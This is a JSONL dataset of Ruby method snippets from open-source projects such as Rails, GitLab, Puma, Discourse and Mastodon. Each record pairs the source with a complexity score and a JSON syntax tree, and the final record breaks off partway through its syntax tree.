{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/report_options.rb","start_line":94,"raw_source":"def start_of_report_step(timestamp)\n      ts = timestamp.in_time_zone(tz)\n      case interval\n      when 'daily'\n        ts.beginning_of_day\n      when 'weekly'\n        ts.beginning_of_week\n      when 'monthly'\n        ts.beginning_of_month\n      else\n        raise _(\"interval '%{interval}' is not supported\") % {:interval => interval}\n      end\n    end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"start_of_report_step\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[null,\"tz\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interval\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"beginning_of_day\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"weekly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"beginning_of_week\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"monthly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"beginning_of_month\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"interval '%{interval}' is not supported\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"send\",\"children\":[null,\"interval\"]}]}]}]}]}]}]}]}","id":"f8f1d719-36eb-48be-ae3c-156d19d5c500"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_persistent.rb","start_line":70,"raw_source":"def test_post_then_get\n    socket = send_http @valid_post\n    response = socket.read_response\n\n    expected = <<~RESP.gsub(\"\\n\", \"\\r\\n\").rstrip\n      HTTP/1.1 200 OK\n      X-Header: Works\n      Content-Length: 5\n\n      Hello\n    RESP\n\n    assert_equal expected, response\n\n    response = socket.req_write(@valid_request).read_response\n\n    assert_equal @valid_response, response\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_post_then_get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"ivar\",\"children\":[\"@valid_post\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"read_response\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\n\"]},{\"type\":\"str\",\"children\":[\"X-Header: Works\\n\"]},{\"type\":\"str\",\"children\":[\"Content-Length: 5\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Hello\\n\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"rstrip\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"req_write\",{\"type\":\"ivar\",\"children\":[\"@valid_request\"]}]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@valid_response\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"cedead12-7de1-4bb3-a113-37c20c48c9de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/elasticsearch_transport.rb","start_line":48,"raw_source":"def self.query_time\n        query_time = ::Gitlab::SafeRequestStore[ELASTICSEARCH_CALL_DURATION] || 0\n        query_time.round(::Gitlab::InstrumentationHelper::DURATION_PRECISION)\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"query_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query_time\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"ELASTICSEARCH_CALL_DURATION\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_time\"]},\"round\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"InstrumentationHelper\"]},\"DURATION_PRECISION\"]}]}]}]}","id":"9bdfab14-a74c-47ee-aa2d-4d0f18049c47"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/entry/costs.rb","start_line":38,"raw_source":"def calculated_costs(rate_attr = nil)\n      rate_attr ||= current_rate\n      cost_attribute * rate_attr.rate\n    rescue StandardError\n      0.0\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calculated_costs\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"rate_attr\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rate_attr\"]},{\"type\":\"send\",\"children\":[null,\"current_rate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cost_attribute\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate_attr\"]},\"rate\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"float\",\"children\":[0.0]}]},null]}]}","id":"172d72ea-a8cc-4148-aa81-2d7c93b581b0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/text_helper.rb","start_line":492,"raw_source":"def initialize(first_value, *values)\n          @values = values.unshift(first_value)\n          reset\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_value\"]},{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"first_value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"reset\"]}]}]}","id":"a8e7ab13-af94-4b44-8e5e-5b0833b9ed1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/logger_test.rb","start_line":135,"raw_source":"def reset(io)\n    io.truncate(0)\n    io.rewind\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"truncate\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"rewind\"]}]}]}","id":"4a0ba7a7-b484-4db9-b687-252bc2d52968"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/import/import_large_github_repo_spec.rb","start_line":400,"raw_source":"def verify_merge_requests_import\n        logger.info(\"== Verifying merge request import ==\")\n        @mr_diff = verify_mrs_or_issues('mr')\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_merge_requests_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"== Verifying merge request import ==\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mr_diff\",{\"type\":\"send\",\"children\":[null,\"verify_mrs_or_issues\",{\"type\":\"str\",\"children\":[\"mr\"]}]}]}]}]}","id":"fef5231f-8e79-4375-aba4-b0092696c77f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_setting.rb","start_line":70,"raw_source":"def self.unique_domain_exists?(domain)\n    where(pages_unique_domain: domain).exists?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unique_domain_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pages_unique_domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]},\"exists?\"]}]}","id":"1a0d2c79-3ef6-4dbe-b866-a77a44639310"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2540,"raw_source":"def test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class\n    assert_not_called_on_instance_of(\n      ActiveRecord::Reflection::AssociationReflection,\n      :class_name,\n    ) do\n      class_eval(<<-EOF, __FILE__, __LINE__ + 1)\n        class NullifyModel < ActiveRecord::Base\n          has_many :nonentities, :dependent => :nullify\n        end\n      EOF\n    end\n  end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_called_on_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Reflection\"]},\"AssociationReflection\"]},{\"type\":\"sym\",\"children\":[\"class_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"class_eval\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class NullifyModel < ActiveRecord::Base\\n\"]},{\"type\":\"str\",\"children\":[\"          has_many :nonentities, :dependent => :nullify\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[6]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"92ba11a7-f337-4a6b-9693-163373df0af9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":740,"raw_source":"def is_valid_destination_url?(url)\n    url.present? && url != path(\"/\") && NO_DESTINATION_COOKIE.none? { url.start_with? path(_1) }\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"is_valid_destination_url?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"path\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NO_DESTINATION_COOKIE\"]},\"none?\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"start_with?\",{\"type\":\"send\",\"children\":[null,\"path\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]}]}]}]}","id":"fd1447bc-9ccc-444a-931c-30b2f44e3a67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_for_merge_request_finder.rb","start_line":75,"raw_source":"def can_read_pipeline_in_target_project?\n      strong_memoize(:can_read_pipeline_in_target_project) do\n        Ability.allowed?(current_user, :read_pipeline, target_project)\n      end\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_pipeline_in_target_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"can_read_pipeline_in_target_project\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_pipeline\"]},{\"type\":\"send\",\"children\":[null,\"target_project\"]}]}]}]}","id":"458a0779-2dfa-439e-906a-17660dcc7c98"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/reset_simulators.rb","start_line":78,"raw_source":"def self.filter_runtimes(all_runtimes, os = 'iOS', versions = [])\n      all_runtimes.select { |v, id| v[/^#{os}/] }.select { |v, id| v[/#{versions.join(\"|\")}$/] }.uniq\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter_runtimes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"all_runtimes\"]},{\"type\":\"optarg\",\"children\":[\"os\",{\"type\":\"str\",\"children\":[\"iOS\"]}]},{\"type\":\"optarg\",\"children\":[\"versions\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_runtimes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"versions\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"uniq\"]}]}","id":"6c26c4a9-895e-4a49-92c9-b25679588866"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/railtie.rb","start_line":234,"raw_source":"def register_block_for(type, &blk)\n          var_name = \"@#{type}\"\n          blocks = instance_variable_defined?(var_name) ? instance_variable_get(var_name) : instance_variable_set(var_name, [])\n          blocks << blk if blk\n          blocks\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"register_block_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"blocks\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_set\",{\"type\":\"lvar\",\"children\":[\"var_name\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blocks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"blk\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"blocks\"]}]}]}","id":"4c2c4fd0-b262-492b-aa66-0ef1ea9da993"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/chewy/index_extensions.rb","start_line":16,"raw_source":"def update_specification\n      client.indices.close index: index_name\n      client.indices.put_settings index: index_name, body: { settings: { analysis: settings_hash[:settings][:analysis] } }\n      client.indices.put_mapping index: index_name, body: root.mappings_hash\n      client.indices.open index: index_name\n    end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_specification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"indices\"]},\"close\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[null,\"index_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"indices\"]},\"put_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[null,\"index_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"analysis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"settings\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"analysis\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"indices\"]},\"put_mapping\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[null,\"index_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\"]},\"mappings_hash\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"indices\"]},\"open\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[null,\"index_name\"]}]}]}]}]}]}","id":"d90a04da-a3f4-40af-8a60-f456106a3d56"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/schedule_dependency.rb","start_line":185,"raw_source":"def moving_work_packages\n    @moving_work_packages ||= WorkPackage\n                                .for_scheduling(moved_work_packages, switching_to_automatic_mode:)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"moving_work_packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@moving_work_packages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"for_scheduling\",{\"type\":\"send\",\"children\":[null,\"moved_work_packages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"switching_to_automatic_mode\"]},{\"type\":\"send\",\"children\":[null,\"switching_to_automatic_mode\"]}]}]}]}]}]}","id":"56666e31-50b8-43b6-8975-fe740f0dd0fa"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/test/dummy/db/migrate/20180212164506_create_active_storage_tables.rb","start_line":3,"raw_source":"def change\n    create_table :active_storage_blobs do |t|\n      t.string   :key,          null: false\n      t.string   :filename,     null: false\n      t.string   :content_type\n      t.text     :metadata\n      t.string   :service_name, null: false\n      t.bigint   :byte_size,    null: false\n      t.string   :checksum,     null: false\n      t.datetime :created_at,   null: false\n\n      t.index [ :key ], unique: true\n    end\n\n    create_table :active_storage_attachments do |t|\n      t.string     :name,     null: false\n      t.references :record,   null: false, polymorphic: true, index: false\n      t.references :blob,     null: false\n\n      t.datetime :created_at, null: false\n\n      t.index [ :record_type, :record_id, :name, :blob_id ], name: \"index_active_storage_attachments_uniqueness\", unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n\n    create_table :active_storage_variant_records do |t|\n      t.belongs_to :blob, null: false, index: false\n      t.string :variation_digest, null: false\n\n      t.index %i[ blob_id variation_digest ], name: \"index_active_storage_variant_records_uniqueness\", unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n  end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"active_storage_blobs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"content_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"byte_size\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"active_storage_attachments\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"blob\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_type\"]},{\"type\":\"sym\",\"children\":[\"record_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"blob_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_active_storage_attachments_uniqueness\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"foreign_key\",{\"type\":\"sym\",\"children\":[\"active_storage_blobs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"blob_id\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"active_storage_variant_records\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"blob\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"variation_digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob_id\"]},{\"type\":\"sym\",\"children\":[\"variation_digest\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\